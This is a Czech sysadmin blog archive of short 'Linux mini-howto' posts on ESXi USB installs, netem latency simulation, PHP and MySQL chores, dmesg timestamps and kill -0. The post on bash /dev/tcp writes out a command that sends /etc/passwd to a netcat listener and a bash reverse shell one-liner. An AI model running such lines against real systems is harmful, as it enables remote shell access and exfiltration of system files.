Archiv pro štítek: mini-howto

Instalace VMware ESXi z USB disku

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Instalace VMware ESXi z USB disku


Standardní distribuce VMware je ve formě ISO obrazu (např. VMware-VMvisor-Installer-6.0.0-XXXXXX.x86_64.iso), je primárně určena k instalaci přes CD-ROM, “vypálit”, založit placku a instalovat. Bohužel velmi často dnes narazíme na servery s absencí CD/DVD mechaniky a protože nechce shánět externí USB mechaniku (i médiu může a bude jednou problém shánět), musíme si poradit jinak, VMware podporuje také instalaci ze sítě přes PXE, tato metoda může představovat opět jiné komplikace. Pokračování textu Instalace VMware ESXi z USB disku

Linux mini-howto: Simulace zpoždění a ztrátovosti paketů v IP sítích

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Simulace zpoždění a ztrátovosti paketů


V předchozím Linux-mini howto (Je tunelování TCP skrz TCP dobrý nápad ?) jsme na konci článku zmínili formou odkazů informace k této problematice i přes tento fakt a existenci Google přišlo pár dotazů jak na to, pojďme to v rychlosti proběhnout.

Diagnostika sítí je komplexní, rozsáhlá a složitá disciplína plná záludností, složitých software nástrojů a sofistikovaných drahých měřících přístrojů, přesto se hodí umět si vyrobit kontrolovaně svůj vlastní problém na stole (nemluvíme teď o “muchlání” a kroucení kabelů či nucení kolegů na chodbě běhat skrze bezdrátový spoj ;-) ) a to zcela zdarma díky Linux jádru.

Základní kvalitativní parametry sítě

Zpoždění (latency)
https://cs.wikipedia.org/wiki/Latence#V_informatice

Ztrátovost paketů (packet loss)
https://cs.wikipedia.org/wiki/Ztráta_paketů

Linux kernel, IP stack, fronty, netem NIC

Linux jádro má již od verze 2.6 (dobře, vlastně od 2.4.37) implementovanou funkcionalitu pro network emulaci (netem), pokud máte kernel 2.6 a novější, zakompilovanou podporu Network emulatoru do jádra či jako modul a k tomu nainstalovaný obslužný nástroj tc (traffic control) z balíku iproute2 máte vše potřebné.

Networking -->
   Networking Options -->
     QoS and/or fair queuing -->
        Network emulator

CONFIG_NET_SCH_NETEM=m
Jak funguje netem (linux network emulator) ?

Popišme si alespoň základní koncept síťování v Linux, jednoduchá ilustrace nám dobře pomůže k pochopení, na jedné straně máme aplikace komunikující prostřednictvím systémových volání jádra (syscall) s IP stackem, chtějí komunikovat s hostem a.b.c.d, navazovat spojení, posílat data a o moc více se nestarat.

simulate-latency-pktloss-network-linux-network-qdisc-2016

IP stack předává pakety do qdisc (Queueing discipline), což není nic jiného než scheduler (plánovač, kód v jádře systému) fronty, který rozhoduje o tom v jakém pořadí zpracovat pakety, každé výstupní rozhraní má alespoň jeden qdisc (scheduler, frontu), po průchodu frontou přes ovladač síťové karty putují data ven.

Výchozí fronta v Linuxu je většinou FIFO (First-in, First-Out).

root@netem-machine:~# tc -s qdisc
qdisc pfifo_fast 0: dev eth0 root refcnt 2 bands 3 priomap
 Sent 14757932 bytes 163954 pkt (dropped 0, overlimits 0 requeues 0)
 backlog 0b 0p requeues 0 

root@netem-machine:~# tc qdisc show
qdisc pfifo_fast 0: dev eth0 root refcnt 2 bands 3 priomap

Výpisem pomocí nástroje tc jsme si ověřili aktuálně nastavený qdisc na zařízení eth0 (ethernet), je patrné, že máme nastavenou frontu typu pfifo (packet FIFO) z následující obrázku je vidět, že pfifo interně implementuje i jednoduchý priority mapping a obsahuje uvnitř tři různé fronty pro přednostní zpracování.

pfifo qdisck

Pokud je fronta plná (linka je zatížená) a nemůže být přijmut další paket ke zpracování, dojde k jeho zahození, frontu lze pro tento účel zvětšit, následkem je většinou zvýšení latence, ale můžeme pozorovat i lepší využití linky.

Pro doplnění představ, v Linux jádře je dnes přes 20 různých schedulerů paketů (red, qfq, prio, mq, cbq, htb, sfq ,…) a nic Vám nebrání napsat si svůj vlastní unikátní pro Vaše potřeby. (http://lxr.free-electrons.com/source/net/sched/ )

Netem, skrze dlouhou okliku a vysvětlení qdisc se vraťme zpět k našemu emulátoru, z předchozích informací je zřejmé, že netem je implementován jako další plánovač paketů se schopností přidávat ke zpracování latence včetně náhodné distribuce, generovat ztrátovost, duplikovat i měnit pořadí paketů(reordering).

Použití je opravdu triviální, ukážeme si, nahrajeme modul netem do jádra, nastavíme na rozhraní eth0 qdisc netem, nastavíme parametry zpoždění, náhodného rozptylu, ztrátovosti a otestujeme.

root@netem-machine:~# modprobe sch_netem
root@netem-machine:~# tc qdisc show
qdisc pfifo_fast 0: dev eth0 root refcnt 2 bands 3 priomap
root@netem-machine:~# 
root@netem-machine:~# tc qdisc add dev eth0 root netem
root@netem-machine:~# tc qdisc show
qdisc netem 8004: dev eth0 root refcnt 2 limit 1000

Zpoždění 200ms , host 10.0.200.1 je součástí directly connected sítě, okamžitě lze vidět nárůst latence zde pomocí ping nástroje.

root@netem-machine:~# tc qdisc change dev eth0 root netem delay 200ms

root@test-machine:~$ ping 10.0.200.1
PING 10.0.200.1 (10.0.200.1) 56(84) bytes of data.
64 bytes from 10.0.200.1: icmp_seq=1 ttl=64 time=0.295 ms
64 bytes from 10.0.200.1: icmp_seq=2 ttl=64 time=0.268 ms
64 bytes from 10.0.200.1: icmp_seq=9 ttl=64 time=0.230 ms
64 bytes from 10.0.200.1: icmp_seq=10 ttl=64 time=200 ms
64 bytes from 10.0.200.1: icmp_seq=11 ttl=64 time=200 ms
64 bytes from 10.0.200.1: icmp_seq=12 ttl=64 time=200 ms

Zpoždění 500ms ± 100ms, je vidět zpoždění ± s velkým rozptylem (ne realtime jádro s tím asi dost bojuje).

root@test-machine:~# tc qdisc change dev eth0 root netem delay 500ms 100ms
root@test-machine:~$ ping 10.0.200.1
PING 10.0.200.1 (10.0.200.1) 56(84) bytes of data.
64 bytes from 10.0.200.1: icmp_seq=24 ttl=64 time=0.242 ms
64 bytes from 10.0.200.1: icmp_seq=25 ttl=64 time=0.272 ms
--- aplikace netem ---
root@test-machine:~$ ping 10.0.200.1
PING 10.0.200.1 (10.0.200.1) 56(84) bytes of data.
64 bytes from 10.0.200.1: icmp_seq=1 ttl=64 time=453 ms
64 bytes from 10.0.200.1: icmp_seq=2 ttl=64 time=479 ms
64 bytes from 10.0.200.1: icmp_seq=3 ttl=64 time=502 ms
64 bytes from 10.0.200.1: icmp_seq=4 ttl=64 time=491 ms
64 bytes from 10.0.200.1: icmp_seq=5 ttl=64 time=553 ms
64 bytes from 10.0.200.1: icmp_seq=6 ttl=64 time=532 ms
64 bytes from 10.0.200.1: icmp_seq=7 ttl=64 time=534 ms
64 bytes from 10.0.200.1: icmp_seq=8 ttl=64 time=490 ms
64 bytes from 10.0.200.1: icmp_seq=9 ttl=64 time=450 ms

Ztrátovost  10% (10% paketů bude náhodně zahazováno) + latence 100ms, náhodu lze ještě ovlivňovat korelací kdy je závislá na předchozím výsledku v %, je to trochu chaotické, ale vlastně méně chaotické, protože zmenšujeme náhodnost generátoru).

root@test-machine:~# tc qdisc change dev eth0 root netem delay 100ms loss 10%

root@test-machine:~$ ping -q -c 10 10.0.200.1
PING 10.0.200.1 (10.0.200.1) 56(84) bytes of data.
--- 10.0.200.1 ping statistics ---
10 packets transmitted, 9 received, 10% packet loss, time 9026ms
rtt min/avg/max/mdev = 100.222/100.298/100.371/0.163 ms

root@test-machine:~$ ping -q -c 10 10.0.200.1
PING 10.0.200.1 (10.0.200.1) 56(84) bytes of data.
--- 10.0.200.1 ping statistics ---
10 packets transmitted, 6 received, 40% packet loss, time 9013ms
rtt min/avg/max/mdev = 100.197/100.239/100.295/0.185 ms

Základní představu o konceptu netem a jeho využití jsme snad představili, studujte dokumentaci, další pěknou věcí, která stojí za vyzkoušení je poškozování paketů (netestovali jsme bohužel), není špatné si pro přehled projít i zdrojový kód netem, pěkné je nasazení netem i na příchozí provoz pomocí modulu IFB (pouze otočí in přes pseudo device na out a na něm udělat netem) v ukázkách dokumentace nejdete jak netem protáhnout i jen specifický traffic přes tc filter, omezit rychlost apod … prostě studujte.

V našem případě při testování a hledání problémů s TCP over TCP jsem si postavili script který měnil hodnoty zpoždení a ztrátovosti od malých až po extrémní, tak aby jsme donutili TCP prodlužovat adaptivní timeout a sledovat pomocí tcpdump/wireshark co se děje uvnitř spojení.

Děkuji za pozornost.
František Havel, MOJEservery.cz

Zdroje:

http://man7.org/linux/man-pages/man8/tc-netem.8.html

http://lxr.free-electrons.com/source/net/sched/sch_netem.c

http://www.linuxfoundation.org/collaborate/workgroups/networking/netem

http://info.iet.unipi.it/~luigi/dummynet/

Linux mini-howto: Základní pravidla bezpečnosti serverů

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Základní pravidla bezpečnosti serverů

Proč? Základní představa o bezpečnosti serverů je často mylná nebo žádná, tímto soupisem praxí ověřených pravidel se jí pokusme nastínit, v některých případech jde obecná pravidla platná napříč světem IT v jinde cílíme přímo na UNIX systémy, znovu připomínáme jde o takový dobrý základ od čeho se odrazit a v případě zájmu můžeme pokračovat dalším dílem.

Bezpečnost IT systémů není stav, je to neustálý proces a i z toho důvodu je 100% zabezpečení přelud, kterého nelze dosáhnout, ale můžeme se k němu zkusit přiblížit, jediný bezpečný systém je ten který nemáte ala jediné auto které Vám nezestárne je to které jste si nekoupili.

Pokračování textu Linux mini-howto: Základní pravidla bezpečnosti serverů

Linux mini-howto: Blokujeme TOR EXIT nodes

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Důvod proč blokovat přístup ke službám ze sítě Tor je na Vašem rozhodnutí a není předmětem tohoto článku.

Tor je anonymizační nástroj (software) maskující skutečný pohyb uživatele po internetové síti, ukrývající skutečnou IP adresu případně další informace, které mohou umožnit jeho sledování.

Pokračování textu Linux mini-howto: Blokujeme TOR EXIT nodes

Linux mini-howto: Debian 8 a instalace PHP dbase extension z PECL

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Triviální instalace rožšíření dbase pro PHP z online repozitáře PECL (PHP Extension Community Library), dříve bylo dbase přímo součástí PHP a v samotném Debianu byl jednoduše balíček php-dbase, bohužel to je dávno minulost.

php-dbase-pecl-1-2015

Dbase byl jeden z prvních masově používaných databázových systémů v 80. a 90.letech se kterých jsem také potkal, práce s nástrojem Foxpro a “obávané” soubory s příponou .dbf jsou již dnes povětšinou minulostí, né však úplnou mrtvolou, občas narazíte na nějakou tu oživlou.

Instalace je opravdu, ale opravdu jednoduchá, nainstalujeme potřebné nástroje pro překlad modulů PHP a zavoláme instalátor PECL (vlastně původní PEAR), ten udělá kompilaci rozšíření a je téměr hotovo.

root@www:~# apt-get install php5-dev
root@www:~# pecl install dbase

Poslední úkonem je vytvoření symlinků na dbase.so (modul) a dbase.ini v /etc/php5/mods-available/ nebo si ho zaveďte natvrdo do svého php.ini, nezapomenout reloadnout Apache nebo PHP-FPM či cokoliv co používáte.

Hotovo, jednoduché! Užívejte moudře a díky za pozornost.

František Havel, MOJEservery.cz

Linux mini-howto: Jak rychle smazat všechny tabulky v MySQL databázi

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Databáze MySQL/MariaDB je důvěrně známá a napříč opensource světem široce používaná, obsahuje dva jednoduché SQL příkazy DROP TABLE a DROP DATABASE pro smázení tabulky či celé db.

mini-howto-mysql-delete-all-tables-blog-headerBohužel/bohudík neexistuje žadný příkaz “DROP ALL TABLES” ve smyslu smaž všechny tabulky v aktuální db.

Když už narazíte na “zkryplený” návrh celé DB, kde si původní autor dohání potřebu řádků a relací množstvím a tabulek a jejich jméno používá jako klíč je na čase po notné dávce relaxační hudby vymyslet jak smazat těch 1146 tabulek, jasně můžete udělat drop databases a pak create database, ale třeba to zrovna takto nechcete/nemůžete.

Varianta 1. (ktéra se mi vůbec nelíbí zápisem, ale je elegantní)

SET FOREIGN_KEY_CHECKS = 0; 
SET @tables = NULL;
SELECT GROUP_CONCAT(table_schema, '.', table_name) INTO @tables
  FROM information_schema.tables 
  WHERE table_schema = 'database_name'; 

SET @tables = CONCAT('DROP TABLE ', @tables);
PREPARE stmt FROM @tables;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
SET FOREIGN_KEY_CHECKS = 1; 

Varianta 2. (aneb plivneme si postaru unixovsky do dlaní)

# mysqldump -u[USERNAME] -p[PASSWORD] --add-drop-table --no-data [DATABASE] | grep ^DROP | mysql -u[USERNAME] -p[PASSWORD] [DATABASE]

Hotovo! Užívejte moudře a díky za pozornost.

František Havel, MOJEservery.cz

Výstup dmesg pro lidi, dmesg-human-readable

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Výstup dmesg pro lidi


Byl položen jednoduchý dotaz, jak udělat výpis dmesg čitelný pro lidi ? Co lidem vadí nejvíce na výstupu dmesg je nečitelnost času, “defaultně” je místo snadno čitelného formátu času vypisován tzv. timestamp a má to svůj důvod, výstup může vypadat např. takto.

Dmesg výstup s časem ve formátu timestamp.
Dmesg výstup s časem ve formátu timestamp.

Uznávám, že to může být komplikace, ale opět platí jak kdy, např. situace kdy je potřeba zjistit čas mezi událostí A a B je při reprezentaci času formátem timestamp snadno řešitelná, pouze odečtete dvě čísla a to je snadné.

Chci “normální” čas, né timestamp!

Nástroj dmesg je součástí balíku nástrojů util-linux (https://www.kernel.org/pub/linux/utils/util-linux/), kolem verze 2.20.x (rok ~ 2012) byla přidána volba pro dmesg -T (nebo –ctime), podívejme se na to.

# man dmesg
---
-T, --ctime
Print human readable timestamps. The timestamp could be inaccurate!
---

# root@www:~# apt-cache show util-linux | grep Version
Version: 2.20.1-5.3
# root@www:~# dmesg -T
Dmesg výstup s časem ve formátu pro lidi (human-readable).
Dmesg výstup s časem ve formátu pro lidi (human-readable).

Můj dmesg neumí “-T”

Zatím to bylo vcelku snadné, ale jsou situace kdy není magický parametr k dispozici, typicky na embedded zařízení, např. OpenWrt routery s busybox nebo prostě máte starší verzi util-linux, zde si pomůžeme jednoduchým bash scriptem, uložte si ho např. do /usr/local/bin/dmesgh a nastavte ho jako spustitelný (chmod +x dmesgh), nejsem autorem, publikuji tak jak je, mám ho už roky ke spokojenosti.

#!/bin/bash
# Translate dmesg timestamps to human readable format

# desired date format
date_format="%a %b %d %T %Y"

# uptime in seconds
uptime=$(cut -d " " -f 1 /proc/uptime)

# run only if timestamps are enabled
if [ "Y" = "$(cat /sys/module/printk/parameters/time)" ]; then
  dmesg | sed "s/^\[[ ]*\?\([0-9.]*\)\] \(.*\)/\\1 \\2/" | while read timestamp message; do
    printf "[%s] %s\n" "$(date --date "now - $uptime seconds + $timestamp seconds" +"${date_format}")" "$message"
  done
else
  echo "Timestamps are disabled (/sys/module/printk/parameters/time)"
fi

Výstup je stejný jako v předchozím případě, dokonce jak je vidět ze scriptu provádí kontrolu zda-li jsou ve výstupu jádra povoleny timestamp, je možné je zcela potlačit.

#man dmesg

Studujte manuály, užívejte moudře, díky za pozornost.
František Havel, MOJEservery.cz

Linux mini-howto: Bash /dev/tcp a sokety.

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Bash a sokety, /dev/tcp

Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.

Syntax /dev/tcp s /dev/udp

  • /dev/tcp/<host>/<port>
  • /dev/udp/<host>/<port>

Malá ukázka práce s /dev/tcp.

havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13
57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) * 

Něco více divokého s /dev/tcp

# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888

# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888

# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888

havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1

# havel@havel-machine:~$ pwd
pwd
/home/havel

Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz

Linux mini-howto: Monitoring procesů nástrojem kill!!!

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Monitoring procesů s kill

havel@havel-machine:~$ kill -0

Tajné, pssst!

Nedokumentovaná (man kill) část nástroje kill, kill -0. Zcela dle neočekávání kill -0 nezabije proces, ani ho jinak neovlivní, vrací exitcode 0 pokud proces běží a akceptuje signály a naopak pokud neběží  vrací 1.

havel@havel-machine:~$ echo $$
10231
havel@havel-machine:~$ /bin/bash
havel@havel-machine:~$ echo $$
12023
havel@havel-machine:~$ kill -0 12023
havel@havel-machine:~$ echo $?
0
havel@havel-machine:~$ exit
havel@havel-machine:~$ kill -0 12023
kill: kill 12023 failed: no such process
havel@havel-machine:~$ echo $?
1

Seznam dostupných signálů, 0 zde není. kill-monitoring-siglist

K čemu je to dobré? Napadá mě, využití např. jednoduché hlídání procesů (démonů) z /var/run/xyz.pid ( #kill -0 $(cat /var/run/crond.pid) ), určitě existují jiná i lepší řešení (a nevím zda-li parsování ps je ono nebo průchod /proc/<pid>), ale jak už někdo poznamenal, proč, protože můžem.

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz